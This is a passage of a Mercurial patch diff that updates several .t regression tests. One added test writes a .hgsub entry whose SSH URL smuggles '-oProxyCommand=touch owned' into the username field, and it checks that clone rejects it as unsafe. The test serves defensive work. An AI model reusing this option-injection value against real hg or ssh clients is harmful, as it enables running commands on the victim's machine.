+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: no suitable response from remote hg!
+  [255]
+  $ [ ! -f owned ] || echo 'you got owned'
+
+and bad usernames:
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub
+  $ hg ci -m 'owned username'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepository "s")
+  [255]
--- a/tests/test-tags.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-tags.t	Mon Sep 18 11:51:41 2017 -0400
@@ -381,7 +381,7 @@
 
   $ hg blackbox -l 6
   1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> tags
-  1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> couldn't write cache/hgtagsfnodes1: [Errno 13] Permission denied: '$TESTTMP/t2/.hg/cache/hgtagsfnodes1'
+  1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> couldn't write cache/hgtagsfnodes1: [Errno *] * (glob)
   1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> 2/3 cache hits/lookups in * seconds (glob)
   1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> writing .hg/cache/tags2-visible with 1 tags
   1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> tags exited 0 after * seconds (glob)
--- a/tests/test-username-newline.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-username-newline.t	Mon Sep 18 11:51:41 2017 -0400
@@ -14,10 +14,12 @@
   $ rm .hg/hgrc
 
   $ HGUSER=`(echo foo; echo bar2)` hg ci -Am m
+  adding a
   abort: username 'foo\nbar2' contains a newline
   
   [255]
   $ hg ci -Am m -u "`(echo foo; echo bar3)`"
+  adding a
   transaction abort!
   rollback completed
   abort: username 'foo\nbar3' contains a newline!